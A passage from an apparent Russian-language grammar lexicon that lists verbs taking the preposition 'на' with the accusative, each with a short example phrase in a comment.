rus_verbs:пропускать{}, // пропускать на стадион инфинитив:сбегать{ вид:соверш }, глагол:сбегать{ вид:соверш }, // сбегать на фильм инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, деепричастие:сбегав{}, деепричастие:сбегая{}, rus_verbs:показываться{}, // показываться на глаза rus_verbs:прибегать{}, // прибегать на урок rus_verbs:съездить{}, // съездить на ферму rus_verbs:прославиться{}, // прославиться на всю страну rus_verbs:опрокинуться{}, // опрокинуться на спину rus_verbs:насыпать{}, // насыпать на землю rus_verbs:употреблять{}, // употреблять на корм скоту rus_verbs:пристроить{}, // пристроить на работу rus_verbs:заворчать{}, // заворчать на вошедшего rus_verbs:завязаться{}, // завязаться на поставщиков rus_verbs:сажать{}, // сажать на стул rus_verbs:напрашиваться{}, // напрашиваться на жесткие ответные меры rus_verbs:заменять{}, // заменять на исправную rus_verbs:нацепить{}, // нацепить на голову rus_verbs:сыпать{}, // сыпать на землю rus_verbs:закрываться{}, // закрываться на ремонт rus_verbs:распространиться{}, // распространиться на всю популяцию rus_verbs:поменять{}, // поменять на велосипед rus_verbs:пересесть{}, // пересесть на велосипеды rus_verbs:подоспеть{}, // подоспеть на разбор rus_verbs:шипеть{}, // шипеть на собак rus_verbs:поделить{}, // поделить на части rus_verbs:подлететь{}, // подлететь на расстояние выстрела rus_verbs:нажимать{}, // нажимать на все кнопки rus_verbs:распасться{}, // распасться на части rus_verbs:приволочь{}, // приволочь на диван rus_verbs:пожить{}, // пожить на один доллар rus_verbs:устремляться{}, // устремляться на свободу rus_verbs:смахивать{}, // смахивать на пол rus_verbs:забежать{}, // забежать на обед rus_verbs:увеличиться{}, // увеличиться на существенную величину rus_verbs:прокрасться{}, // прокрасться на склад rus_verbs:пущать{}, // пущать на постой rus_verbs:отклонить{}, // отклонить на несколько градусов rus_verbs:насмотреться{}, // насмотреться на безобразия rus_verbs:настроить{}, // настроить на короткие волны rus_verbs:уменьшиться{}, // уменьшиться на пару сантиметров rus_verbs:поменяться{}, // поменяться на другую книжку rus_verbs:расколоться{}, // расколоться на части rus_verbs:разлиться{}, // разлиться на землю rus_verbs:срываться{}, // срываться на жену rus_verbs:осудить{}, // осудить на пожизненное заключение rus_verbs:передвинуть{}, // передвинуть на первое место rus_verbs:допускаться{}, // допускаться на полигон rus_verbs:задвинуть{}, // задвинуть на полку rus_verbs:повлиять{}, // повлиять на оценку rus_verbs:отбавлять{}, // отбавлять на осмотр rus_verbs:сбрасывать{}, // сбрасывать на землю rus_verbs:накинуться{}, // накинуться на случайных прохожих rus_verbs:пролить{}, // пролить на кожу руки rus_verbs:затащить{}, // затащить на сеновал rus_verbs:перебежать{}, // перебежать на сторону противника rus_verbs:наливать{}, // наливать на скатерть rus_verbs:пролезть{}, // пролезть на сцену rus_verbs:откладывать{}, // откладывать на черный день rus_verbs:распадаться{}, // распадаться на небольшие фрагменты rus_verbs:перечислить{}, // перечислить на счет rus_verbs:закачаться{}, // закачаться на верхний уровень rus_verbs:накрениться{}, // накрениться на правый борт rus_verbs:подвинуться{}, // подвинуться на один уровень rus_verbs:разнести{}, // разнести на мелкие кусочки rus_verbs:зажить{}, // зажить на широкую ногу rus_verbs:оглохнуть{}, // оглохнуть на правое ухо rus_verbs:посетовать{}, // посетовать на бюрократизм rus_verbs:уводить{}, // уводить на осмотр rus_verbs:ускакать{}, // ускакать на забег rus_verbs:посветить{}, // посветить на стену rus_verbs:разрываться{}, // разрываться на части rus_verbs:побросать{}, // побросать на землю rus_verbs:карабкаться{}, // карабкаться на скалу rus_verbs:нахлынуть{}, // нахлынуть на кого-то rus_verbs:разлетаться{}, // разлетаться на мелкие осколочки rus_verbs:среагировать{}, // среагировать на сигнал rus_verbs:претендовать{}, // претендовать на приз rus_verbs:дунуть{}, // дунуть на одуванчик rus_verbs:переводиться{}, // переводиться на другую работу rus_verbs:перевезти{}, // перевезти на другую площадку rus_verbs:топать{}, // топать на урок rus_verbs:относить{}, // относить на склад rus_verbs:сбивать{}, // сбивать на землю rus_verbs:укладывать{}, // укладывать на спину rus_verbs:укатить{}, // укатить на отдых rus_verbs:убирать{}, // убирать на полку rus_verbs:опасть{}, // опасть на землю rus_verbs:ронять{}, // ронять на снег rus_verbs:пялиться{}, // пялиться на тело rus_verbs:глазеть{}, // глазеть на тело rus_verbs:снижаться{}, // снижаться на безопасную высоту rus_verbs:запрыгнуть{}, // запрыгнуть на платформу rus_verbs:разбиваться{}, // разбиваться на главы rus_verbs:сгодиться{}, // сгодиться на фарш rus_verbs:перескочить{}, // перескочить на другую страницу rus_verbs:нацелиться{}, // нацелиться на главную добычу rus_verbs:заезжать{}, // заезжать на бордюр rus_verbs:забираться{}, // забираться на крышу rus_verbs:проорать{}, // проорать на всё село rus_verbs:сбежаться{}, // сбежаться на шум rus_verbs:сменять{}, // сменять на хлеб rus_verbs:мотать{}, // мотать на ус rus_verbs:раскалываться{}, // раскалываться на две половинки rus_verbs:коситься{}, // коситься на режиссёра rus_verbs:плевать{}, // плевать на законы rus_verbs:ссылаться{}, // ссылаться на авторитетное мнение rus_verbs:наставить{}, // наставить на путь истинный rus_verbs:завывать{}, // завывать на Луну rus_verbs:опаздывать{}, // опаздывать на совещание rus_verbs:залюбоваться{}, // залюбоваться на пейзаж rus_verbs:повергнуть{}, // повергнуть на землю rus_verbs:надвинуть{}, // надвинуть на лоб rus_verbs:стекаться{}, // стекаться на площадь rus_verbs:обозлиться{}, // обозлиться на тренера rus_verbs:оттянуть{}, // оттянуть на себя rus_verbs:истратить{}, // истратить на дешевых шлюх rus_verbs:вышвырнуть{}, // вышвырнуть на улицу rus_verbs:затолкать{}, // затолкать на верхнюю полку rus_verbs:заскочить{}, // заскочить на огонек rus_verbs:проситься{}, // проситься на улицу rus_verbs:натыкаться{}, // натыкаться на борщевик rus_verbs:обрушиваться{}, // обрушиваться на митингующих rus_verbs:переписать{}, // переписать на чистовик rus_verbs:переноситься{}, // переноситься на другое устройство rus_verbs:напроситься{}, // напроситься на обидный ответ rus_verbs:натягивать{}, // натягивать на ноги rus_verbs:кидаться{}, // кидаться на прохожих rus_verbs:откликаться{}, // откликаться на призыв rus_verbs:поспевать{}, // поспевать на балет rus_verbs:обратиться{}, // обратиться на кафедру rus_verbs:полюбоваться{}, // полюбоваться на бюст rus_verbs:таращиться{}, // таращиться на мустангов rus_verbs:напороться{}, // напороться на колючки rus_verbs:раздать{}, // раздать на руки rus_verbs:дивиться{}, // дивиться на танцовщиц rus_verbs:назначать{}, // назначать на ответственнейший пост rus_verbs:кидать{}, // кидать на балкон rus_verbs:нахлобучить{}, // нахлобучить на башку rus_verbs:увлекать{}, // увлекать на луг rus_verbs:ругнуться{}, // ругнуться на животину rus_verbs:переселиться{}, // переселиться на хутор rus_verbs:разрывать{}, // разрывать на части rus_verbs:утащить{}, // утащить на дерево rus_verbs:наставлять{}, // наставлять на путь rus_verbs:соблазнить{}, // соблазнить на обмен rus_verbs:накладывать{}, // накладывать на рану rus_verbs:набрести{}, // набрести на грибную поляну rus_verbs:наведываться{}, // наведываться на прежнюю работу rus_verbs:погулять{}, // погулять на чужие деньги rus_verbs:уклоняться{}, // уклоняться на два градуса влево rus_verbs:слезать{}, // слезать на землю rus_verbs:клевать{}, // клевать на мотыля // rus_verbs:назначаться{}, // назначаться на пост rus_verbs:напялить{}, // напялить на голову rus_verbs:натянуться{}, // натянуться на рамку rus_verbs:разгневаться{}, // разгневаться на придворных rus_verbs:эмигрировать{}, // эмигрировать на Кипр rus_verbs:накатить{}, // накатить на основу rus_verbs:пригнать{}, // пригнать на пастбище rus_verbs:обречь{}, // обречь на мучения rus_verbs:сокращаться{}, // сокращаться на четверть rus_verbs:оттеснить{}, // оттеснить на пристань rus_verbs:подбить{}, // подбить на аферу rus_verbs:заманить{}, // заманить на дерево инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на кустик // деепричастие:пописав{ aux stress="поп^исать" }, rus_verbs:посходить{}, // посходить на перрон rus_verbs:налечь{}, // налечь на мясцо rus_verbs:отбирать{}, // отбирать на флот rus_verbs:нашептывать{}, // нашептывать на ухо rus_verbs:откладываться{}, // откладываться на будущее rus_verbs:залаять{}, // залаять на грабителя rus_verbs:настроиться{}, // настроиться на прием rus_verbs:разбивать{}, // разбивать на куски rus_verbs:пролиться{}, // пролиться на почву rus_verbs:сетовать{}, // сетовать на объективные трудности rus_verbs:подвезти{}, // подвезти на митинг rus_verbs:припереться{}, // припереться на праздник rus_verbs:подталкивать{}, // подталкивать на прыжок rus_verbs:прорываться{}, // прорываться на сцену rus_verbs:снижать{}, // снижать на несколько процентов rus_verbs:нацелить{}, // нацелить на танк rus_verbs:расколоть{}, // расколоть на два куска rus_verbs:увозить{}, // увозить на обкатку rus_verbs:оседать{}, // оседать на дно rus_verbs:съедать{}, // съедать на ужин rus_verbs:навлечь{}, // навлечь на себя rus_verbs:равняться{}, // равняться на лучших rus_verbs:сориентироваться{}, // сориентироваться на местности rus_verbs:снизить{}, // снизить на несколько процентов rus_verbs:перенестись{}, // перенестись на много лет назад rus_verbs:завезти{}, // завезти на склад rus_verbs:проложить{}, // проложить на гору rus_verbs:понадеяться{}, // понадеяться на удачу rus_verbs:заступить{}, // заступить на вахту rus_verbs:засеменить{}, // засеменить на выход rus_verbs:запирать{}, // запирать на ключ rus_verbs:скатываться{}, // скатываться на землю rus_verbs:дробить{}, // дробить на части rus_verbs:разваливаться{}, // разваливаться на кусочки rus_verbs:завозиться{}, // завозиться на склад rus_verbs:нанимать{}, // нанимать на дневную работу rus_verbs:поспеть{}, // поспеть на концерт rus_verbs:променять{}, // променять на сытость rus_verbs:переправить{}, // переправить на север rus_verbs:налетать{}, // налетать на силовое поле rus_verbs:затворить{}, // затворить на замок rus_verbs:подогнать{}, // подогнать на пристань rus_verbs:наехать{}, // наехать на камень rus_verbs:распевать{}, // распевать на разные голоса rus_verbs:разносить{}, // разносить на клочки rus_verbs:преувеличивать{}, // преувеличивать на много килограммов rus_verbs:хромать{}, // хромать на одну ногу rus_verbs:телеграфировать{}, // телеграфировать на базу rus_verbs:порезать{}, // порезать на лоскуты rus_verbs:порваться{}, // порваться на части rus_verbs:загонять{}, // загонять на дерево rus_verbs:отбывать{}, // отбывать на место службы rus_verbs:усаживаться{}, // усаживаться на трон rus_verbs:накопить{}, // накопить на квартиру rus_verbs:зыркнуть{}, // зыркнуть на визитера rus_verbs:копить{}, // копить на машину rus_verbs:помещать{}, // помещать на верхнюю грань rus_verbs:сползать{}, // сползать на снег rus_verbs:попроситься{}, // попроситься на улицу rus_verbs:перетащить{}, // перетащить на чердак rus_verbs:растащить{}, // растащить на сувениры rus_verbs:ниспадать{}, // ниспадать на землю rus_verbs:сфотографировать{}, // сфотографировать на память rus_verbs:нагонять{}, // нагонять на конкурентов страх rus_verbs:покушаться{}, // покушаться на понтифика rus_verbs:покуситься{}, rus_verbs:наняться{}, // наняться на службу rus_verbs:просачиваться{}, // просачиваться на поверхность rus_verbs:пускаться{}, // пускаться на ветер rus_verbs:отваживаться{}, // отваживаться на прыжок rus_verbs:досадовать{}, // досадовать на объективные трудности rus_verbs:унестись{}, // унестись на небо rus_verbs:ухудшаться{}, // ухудшаться на несколько процентов rus_verbs:насадить{}, // насадить на копьё rus_verbs:нагрянуть{}, // нагрянуть на праздник rus_verbs:зашвырнуть{}, // зашвырнуть на полку rus_verbs:грешить{}, // грешить на постояльцев rus_verbs:просочиться{}, // просочиться на поверхность rus_verbs:надоумить{}, // надоумить на глупость rus_verbs:намотать{}, // намотать на шпиндель rus_verbs:замкнуть{}, // замкнуть на корпус rus_verbs:цыкнуть{}, // цыкнуть на детей rus_verbs:переворачиваться{}, // переворачиваться на спину rus_verbs:соваться{}, // соваться на площать rus_verbs:отлучиться{}, // отлучиться на обед rus_verbs:пенять{}, // пенять на себя rus_verbs:нарезать{}, // нарезать на ломтики rus_verbs:поставлять{}, // поставлять на Кипр rus_verbs:залезать{}, // залезать на балкон rus_verbs:отлучаться{}, // отлучаться на обед rus_verbs:сбиваться{}, // сбиваться на шаг rus_verbs:таращить{}, // таращить глаза на вошедшего rus_verbs:прошмыгнуть{}, // прошмыгнуть на кухню rus_verbs:опережать{}, // опережать на пару сантиметров rus_verbs:переставить{}, // переставить на стол rus_verbs:раздирать{}, // раздирать на части rus_verbs:затвориться{}, // затвориться на засовы rus_verbs:материться{}, // материться на кого-то rus_verbs:наскочить{}, // наскочить на риф rus_verbs:набираться{}, // набираться на борт rus_verbs:покрикивать{}, // покрикивать на помощников rus_verbs:заменяться{}, // заменяться на более новый rus_verbs:подсадить{}, // подсадить на верхнюю полку rus_verbs:проковылять{}, // проковылять на кухню rus_verbs:прикатить{}, // прикатить на старт rus_verbs:залететь{}, // залететь на чужую территорию rus_verbs:загрузить{}, // загрузить на конвейер rus_verbs:уплывать{}, // уплывать на материк rus_verbs:опозорить{}, // опозорить на всю деревню rus_verbs:провоцировать{}, // провоцировать на ответную агрессию rus_verbs:забивать{}, // забивать на учебу rus_verbs:набегать{}, // набегать на прибрежные деревни rus_verbs:запираться{}, // запираться на ключ rus_verbs:фотографировать{}, // фотографировать на мыльницу rus_verbs:подымать{}, // подымать на недосягаемую высоту rus_verbs:съезжаться{}, // съезжаться на симпозиум rus_verbs:отвлекаться{}, // отвлекаться на игру rus_verbs:проливать{}, // проливать на брюки rus_verbs:спикировать{}, // спикировать на зазевавшегося зайца rus_verbs:уползти{}, // уползти на вершину холма rus_verbs:переместить{}, // переместить на вторую палубу rus_verbs:превысить{}, // превысить на несколько метров rus_verbs:передвинуться{}, // передвинуться на соседнюю клетку rus_verbs:спровоцировать{}, // спровоцировать на бросок rus_verbs:сместиться{}, // сместиться на соседнюю клетку rus_verbs:заготовить{}, // заготовить на зиму rus_verbs:плеваться{}, // плеваться на пол rus_verbs:переселить{}, // переселить на север rus_verbs:напирать{}, // напирать на дверь rus_verbs:переезжать{}, // переезжать на другой этаж rus_verbs:приподнимать{}, // приподнимать на несколько сантиметров rus_verbs:трогаться{}, // трогаться на красный свет rus_verbs:надвинуться{}, // надвинуться на глаза rus_verbs:засмотреться{}, // засмотреться на купальники rus_verbs:убыть{}, // убыть на фронт rus_verbs:передвигать{}, // передвигать на второй уровень rus_verbs:отвозить{}, // отвозить на свалку rus_verbs:обрекать{}, // обрекать на гибель rus_verbs:записываться{}, // записываться на танцы rus_verbs:настраивать{}, // настраивать на другой диапазон rus_verbs:переписывать{}, // переписывать на диск rus_verbs:израсходовать{}, // израсходовать на гонки rus_verbs:обменять{}, // обменять на перспективного игрока rus_verbs:трубить{}, // трубить на всю округу rus_verbs:набрасываться{}, // набрасываться на жертву rus_verbs:чихать{}, // чихать на правила rus_verbs:наваливаться{}, // наваливаться на рычаг rus_verbs:сподобиться{}, // сподобиться на повторный анализ rus_verbs:намазать{}, // намазать на хлеб rus_verbs:прореагировать{}, // прореагировать на вызов rus_verbs:зачислить{}, // зачислить на факультет rus_verbs:наведаться{}, // наведаться на склад rus_verbs:откидываться{}, // откидываться на спинку кресла rus_verbs:захромать{}, // захромать на левую ногу rus_verbs:перекочевать{}, // перекочевать на другой берег rus_verbs:накатываться{}, // накатываться на песчаный берег rus_verbs:приостановить{}, // приостановить на некоторое время rus_verbs:запрятать{}, // запрятать на верхнюю полочку rus_verbs:прихрамывать{}, // прихрамывать на правую ногу rus_verbs:упорхнуть{}, // упорхнуть на свободу rus_verbs:расстегивать{}, // расстегивать на пальто rus_verbs:напуститься{}, // напуститься на бродягу rus_verbs:накатывать{}, // накатывать на оригинал rus_verbs:наезжать{}, // наезжать на простофилю rus_verbs:тявкнуть{}, // тявкнуть на подошедшего человека rus_verbs:отрядить{}, // отрядить на починку rus_verbs:положиться{}, // положиться на главаря rus_verbs:опрокидывать{}, // опрокидывать на голову rus_verbs:поторапливаться{}, // поторапливаться на рейс rus_verbs:налагать{}, // налагать на заемщика rus_verbs:скопировать{}, // скопировать на диск rus_verbs:опадать{}, // опадать на землю rus_verbs:купиться{}, // купиться на посулы rus_verbs:гневаться{}, // гневаться на слуг rus_verbs:слететься{}, // слететься на раздачу rus_verbs:убавить{}, // убавить на два уровня rus_verbs:спихнуть{}, // спихнуть на соседа rus_verbs:накричать{}, // накричать на ребенка rus_verbs:приберечь{}, // приберечь на ужин rus_verbs:приклеить{}, // приклеить на ветровое стекло rus_verbs:ополчиться{}, // ополчиться на посредников rus_verbs:тратиться{}, // тратиться на сувениры rus_verbs:слетаться{}, // слетаться на свет rus_verbs:доставляться{}, // доставляться на базу rus_verbs:поплевать{}, // поплевать на руки rus_verbs:огрызаться{}, // огрызаться на замечание rus_verbs:попереться{}, // попереться на рынок rus_verbs:растягиваться{}, // растягиваться на полу rus_verbs:повергать{}, // повергать на землю rus_verbs:ловиться{}, // ловиться на мотыля rus_verbs:наседать{}, // наседать на обороняющихся rus_verbs:развалить{}, // развалить на кирпичи rus_verbs:разломить{}, // разломить на несколько частей rus_verbs:примерить{}, // примерить на себя rus_verbs:лепиться{}, // лепиться на стену rus_verbs:скопить{}, // скопить на старость rus_verbs:затратить{}, // затратить на ликвидацию последствий rus_verbs:притащиться{}, // притащиться на гулянку rus_verbs:осерчать{}, // осерчать на прислугу rus_verbs:натравить{}, // натравить на медведя rus_verbs:ссыпать{}, // ссыпать на землю rus_verbs:подвозить{}, // подвозить на пристань rus_verbs:мобилизовать{}, // мобилизовать на сборы rus_verbs:смотаться{}, // смотаться на работу rus_verbs:заглядеться{}, // заглядеться на девчонок rus_verbs:таскаться{}, // таскаться на работу rus_verbs:разгружать{}, // разгружать на транспортер rus_verbs:потреблять{}, // потреблять на кондиционирование инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять на базу деепричастие:сгоняв{}, rus_verbs:посылаться{}, // посылаться на разведку rus_verbs:окрыситься{}, // окрыситься на кого-то rus_verbs:отлить{}, // отлить на сковороду rus_verbs:шикнуть{}, // шикнуть на детишек rus_verbs:уповать{}, // уповать на бескорысную помощь rus_verbs:класться{}, // класться на стол rus_verbs:поковылять{}, // поковылять на выход rus_verbs:навевать{}, // навевать на собравшихся скуку rus_verbs:накладываться{}, // накладываться на грунтовку rus_verbs:наноситься{}, // наноситься на чистую кожу // rus_verbs:запланировать{}, // запланировать на среду rus_verbs:кувыркнуться{}, // кувыркнуться на землю rus_verbs:гавкнуть{}, // гавкнуть на хозяина rus_verbs:перестроиться{}, // перестроиться на новый лад rus_verbs:расходоваться{}, // расходоваться на образование rus_verbs:дуться{}, // дуться на бабушку rus_verbs:перетаскивать{}, // перетаскивать на рабочий стол rus_verbs:издаться{}, // издаться на деньги спонсоров rus_verbs:смещаться{}, // смещаться на несколько миллиметров rus_verbs:зазывать{}, // зазывать на новогоднюю распродажу rus_verbs:пикировать{}, // пикировать на окопы rus_verbs:чертыхаться{}, // чертыхаться на мешающихся детей rus_verbs:зудить{}, // зудить на ухо rus_verbs:подразделяться{}, // подразделяться на группы rus_verbs:изливаться{}, // изливаться на землю rus_verbs:помочиться{}, // помочиться на траву rus_verbs:примерять{}, // примерять на себя rus_verbs:разрядиться{}, // разрядиться на землю rus_verbs:мотнуться{}, // мотнуться на крышу rus_verbs:налегать{}, // налегать на весла rus_verbs:зацокать{}, // зацокать на куриц rus_verbs:наниматься{}, // наниматься на корабль rus_verbs:сплевывать{}, // сплевывать на землю rus_verbs:настучать{}, // настучать на саботажника rus_verbs:приземляться{}, // приземляться на брюхо rus_verbs:наталкиваться{}, // наталкиваться на объективные трудности rus_verbs:посигналить{}, // посигналить нарушителю, выехавшему на встречную полосу rus_verbs:серчать{}, // серчать на нерасторопную помощницу rus_verbs:сваливать{}, // сваливать на подоконник rus_verbs:засобираться{}, // засобираться на работу rus_verbs:распилить{}, // распилить на одинаковые бруски //rus_verbs:умножать{}, // умножать на константу rus_verbs:копировать{}, // копировать на диск rus_verbs:накрутить{}, // накрутить на руку rus_verbs:навалить{}, // навалить на телегу rus_verbs:натолкнуть{}, // натолкнуть на свежую мысль rus_verbs:шлепаться{}, // шлепаться на бетон rus_verbs:ухлопать{}, // ухлопать на скупку произведений искусства rus_verbs:замахиваться{}, // замахиваться на авторитетнейшее мнение rus_verbs:посягнуть{}, // посягнуть на святое rus_verbs:разменять{}, // разменять на мелочь rus_verbs:откатываться{}, // откатываться на заранее подготовленные позиции rus_verbs:усаживать{}, // усаживать на скамейку rus_verbs:натаскать{}, // натаскать на поиск наркотиков rus_verbs:зашикать{}, // зашикать на кошку rus_verbs:разломать{}, // разломать на равные части rus_verbs:приглашаться{}, // приглашаться на сцену rus_verbs:присягать{}, // присягать на верность rus_verbs:запрограммировать{}, // запрограммировать на постоянную уборку rus_verbs:расщедриться{}, // расщедриться на новый компьютер rus_verbs:насесть{}, // насесть на двоечников rus_verbs:созывать{}, // созывать на собрание rus_verbs:позариться{}, // позариться на чужое добро rus_verbs:перекидываться{}, // перекидываться на соседние здания rus_verbs:наползать{}, // наползать на неповрежденную ткань rus_verbs:изрубить{}, // изрубить на мелкие кусочки rus_verbs:наворачиваться{}, // наворачиваться на глаза rus_verbs:раскричаться{}, // раскричаться на всю округу rus_verbs:переползти{}, // переползти на светлую сторону rus_verbs:уполномочить{}, // уполномочить на разведовательную операцию rus_verbs:мочиться{}, // мочиться на трупы убитых врагов rus_verbs:радировать{}, // радировать на базу rus_verbs:промотать{}, // промотать на начало rus_verbs:заснять{}, // заснять на видео rus_verbs:подбивать{}, // подбивать на матч-реванш rus_verbs:наплевать{}, // наплевать на справедливость rus_verbs:подвывать{}, // подвывать на луну rus_verbs:расплескать{}, // расплескать на пол rus_verbs:польститься{}, // польститься на бесплатный сыр rus_verbs:помчать{}, // помчать на работу rus_verbs:съезжать{}, // съезжать на обочину rus_verbs:нашептать{}, // нашептать кому-то на ухо rus_verbs:наклеить{}, // наклеить на доску объявлений rus_verbs:завозить{}, // завозить на склад rus_verbs:заявляться{}, // заявляться на любимую работу rus_verbs:наглядеться{}, // наглядеться на воробьев rus_verbs:хлопнуться{}, // хлопнуться на живот rus_verbs:забредать{}, // забредать на поляну rus_verbs:посягать{}, // посягать на исконные права собственности rus_verbs:сдвигать{}, // сдвигать на одну позицию rus_verbs:спрыгивать{}, // спрыгивать на землю rus_verbs:сдвигаться{}, // сдвигаться на две позиции rus_verbs:разделать{}, // разделать на орехи rus_verbs:разлагать{}, // разлагать на элементарные элементы rus_verbs:обрушивать{}, // обрушивать на головы врагов rus_verbs:натечь{}, // натечь на пол rus_verbs:политься{}, // вода польется на землю rus_verbs:успеть{}, // Они успеют на поезд. инфинитив:мигрировать{ вид:несоверш }, глагол:мигрировать{ вид:несоверш }, деепричастие:мигрируя{}, инфинитив:мигрировать{ вид:соверш }, глагол:мигрировать{ вид:соверш }, деепричастие:мигрировав{}, rus_verbs:двинуться{}, // Мы скоро двинемся на дачу. rus_verbs:подойти{}, // Он не подойдёт на должность секретаря. rus_verbs:потянуть{}, // Он не потянет на директора. rus_verbs:тянуть{}, // Он не тянет на директора. rus_verbs:перескакивать{}, // перескакивать с одного примера на другой rus_verbs:жаловаться{}, // Он жалуется на нездоровье. rus_verbs:издать{}, // издать на деньги спонсоров rus_verbs:показаться{}, // показаться на глаза rus_verbs:высаживать{}, // высаживать на необитаемый остров rus_verbs:вознестись{}, // вознестись на самую вершину славы rus_verbs:залить{}, // залить на youtube rus_verbs:закачать{}, // закачать на youtube rus_verbs:сыграть{}, // сыграть на деньги rus_verbs:экстраполировать{}, // Формулу можно экстраполировать на случай нескольких переменных инфинитив:экстраполироваться{ вид:несоверш}, // Ситуация легко экстраполируется на случай нескольких переменных глагол:экстраполироваться{ вид:несоверш}, инфинитив:экстраполироваться{ вид:соверш}, глагол:экстраполироваться{ вид:соверш}, деепричастие:экстраполируясь{}, инфинитив:акцентировать{вид:соверш}, // оратор акцентировал внимание слушателей на новый аспект проблемы глагол:акцентировать{вид:соверш}, инфинитив:акцентировать{вид:несоверш}, глагол:акцентировать{вид:несоверш}, прилагательное:акцентировавший{вид:несоверш}, //прилагательное:акцентировавший{вид:соверш}, прилагательное:акцентирующий{}, деепричастие:акцентировав{}, деепричастие:акцентируя{}, rus_verbs:бабахаться{}, // он бабахался на пол rus_verbs:бабахнуться{}, // мальчил бабахнулся на асфальт rus_verbs:батрачить{}, // Крестьяне батрачили на хозяина rus_verbs:бахаться{}, // Наездники бахались на землю rus_verbs:бахнуться{}, // Наездник опять бахнулся на землю rus_verbs:благословить{}, // батюшка благословил отрока на подвиг rus_verbs:благословлять{}, // батюшка благословляет отрока на подвиг rus_verbs:блевануть{}, // Он блеванул на землю rus_verbs:блевать{}, // Он блюет на землю rus_verbs:бухнуться{}, // Наездник бухнулся на землю rus_verbs:валить{}, // Ветер валил деревья на землю rus_verbs:спилить{}, // Спиленное дерево валится на землю rus_verbs:ввезти{}, // Предприятие ввезло товар на таможню rus_verbs:вдохновить{}, // Фильм вдохновил мальчика на поход в лес rus_verbs:вдохновиться{}, // Мальчик вдохновился на поход rus_verbs:вдохновлять{}, // Фильм вдохновляет на поход в лес rus_verbs:вестись{}, // Не ведись на эти уловки! rus_verbs:вешать{}, // Гости вешают одежду на вешалку rus_verbs:вешаться{}, // Одежда вешается на вешалки rus_verbs:вещать{}, // радиостанция вещает на всю страну rus_verbs:взбираться{}, // Туристы взбираются на заросший лесом холм rus_verbs:взбредать{}, // Что иногда взбредает на ум rus_verbs:взбрести{}, // Что-то взбрело на ум rus_verbs:взвалить{}, // Мама взвалила на свои плечи всё домашнее хозяйство rus_verbs:взваливаться{}, // Все домашнее хозяйство взваливается на мамины плечи rus_verbs:взваливать{}, // Не надо взваливать всё на мои плечи rus_verbs:взглянуть{}, // Кошка взглянула на мышку rus_verbs:взгромождать{}, // Мальчик взгромождает стул на стол rus_verbs:взгромождаться{}, // Мальчик взгромождается на стол rus_verbs:взгромоздить{}, // Мальчик взгромоздил стул на стол rus_verbs:взгромоздиться{}, // Мальчик взгромоздился на стул rus_verbs:взирать{}, // Очевидцы взирали на непонятный объект rus_verbs:взлетать{}, // Фабрика фейерверков взлетает на воздух rus_verbs:взлететь{}, // Фабрика фейерверков взлетела на воздух rus_verbs:взобраться{}, // Туристы взобрались на гору rus_verbs:взойти{}, // Туристы взошли на гору rus_verbs:взъесться{}, // Отец взъелся на непутевого сына rus_verbs:взъяриться{}, // Отец взъярился на непутевого сына rus_verbs:вкатить{}, // рабочие вкатили бочку на пандус rus_verbs:вкатывать{}, // рабочик вкатывают бочку на пандус rus_verbs:влиять{}, // Это решение влияет на всех игроков рынка rus_verbs:водворить{}, // водворить нарушителя на место rus_verbs:водвориться{}, // водвориться на свое место rus_verbs:водворять{}, // водворять вещь на свое место rus_verbs:водворяться{}, // водворяться на свое место rus_verbs:водружать{}, // водружать флаг на флагшток rus_verbs:водружаться{}, // Флаг водружается на флагшток rus_verbs:водрузить{}, // водрузить флаг на флагшток rus_verbs:водрузиться{}, // Флаг водрузился на вершину горы rus_verbs:воздействовать{}, // Излучение воздействует на кожу rus_verbs:воззреть{}, // воззреть на поле боя rus_verbs:воззриться{}, // воззриться на поле боя rus_verbs:возить{}, // возить туристов на гору rus_verbs:возлагать{}, // Многочисленные посетители возлагают цветы на могилу rus_verbs:возлагаться{}, // Ответственность возлагается на начальство rus_verbs:возлечь{}, // возлечь на лежанку rus_verbs:возложить{}, // возложить цветы на могилу поэта rus_verbs:вознести{}, // вознести кого-то на вершину славы rus_verbs:возноситься{}, // возносится на вершину успеха rus_verbs:возносить{}, // возносить счастливчика на вершину успеха rus_verbs:подниматься{}, // Мы поднимаемся на восьмой этаж rus_verbs:подняться{}, // Мы поднялись на восьмой этаж rus_verbs:вонять{}, // Кусок сыра воняет на всю округу rus_verbs:воодушевлять{}, // Идеалы воодушевляют на подвиги rus_verbs:воодушевляться{}, // Люди воодушевляются на подвиги rus_verbs:ворчать{}, // Старый пес ворчит на прохожих rus_verbs:воспринимать{}, // воспринимать сообщение на слух rus_verbs:восприниматься{}, // сообщение плохо воспринимается на слух rus_verbs:воспринять{}, // воспринять сообщение на слух rus_verbs:восприняться{}, // восприняться на слух rus_verbs:воссесть{}, // Коля воссел на трон rus_verbs:вправить{}, // вправить мозг на место rus_verbs:вправлять{}, // вправлять мозги на место rus_verbs:временить{}, // временить с выходом на пенсию rus_verbs:врубать{}, // врубать на полную мощность rus_verbs:врубить{}, // врубить на полную мощность rus_verbs:врубиться{}, // врубиться на полную мощность rus_verbs:врываться{}, // врываться на собрание rus_verbs:вскарабкаться{}, // вскарабкаться на утёс rus_verbs:вскарабкиваться{}, // вскарабкиваться на утёс rus_verbs:вскочить{}, // вскочить на ноги rus_verbs:всплывать{}, // всплывать на поверхность воды rus_verbs:всплыть{}, // всплыть на поверхность воды rus_verbs:вспрыгивать{}, // вспрыгивать на платформу rus_verbs:вспрыгнуть{}, // вспрыгнуть на платформу rus_verbs:встать{}, // встать на защиту чести и достоинства rus_verbs:вторгаться{}, // вторгаться на чужую территорию rus_verbs:вторгнуться{}, // вторгнуться на чужую территорию rus_verbs:въезжать{}, // въезжать на пандус rus_verbs:наябедничать{}, // наябедничать на соседа по парте rus_verbs:выблевать{}, // выблевать завтрак на пол rus_verbs:выблеваться{}, // выблеваться на пол rus_verbs:выблевывать{}, // выблевывать завтрак на пол rus_verbs:выблевываться{}, // выблевываться на пол rus_verbs:вывезти{}, // вывезти мусор на свалку rus_verbs:вывесить{}, // вывесить белье на просушку rus_verbs:вывести{}, // вывести собаку на прогулку rus_verbs:вывешивать{}, // вывешивать белье на веревку rus_verbs:вывозить{}, // вывозить детей на природу rus_verbs:вызывать{}, // Начальник вызывает на ковер rus_verbs:выйти{}, // выйти на свободу rus_verbs:выкладывать{}, 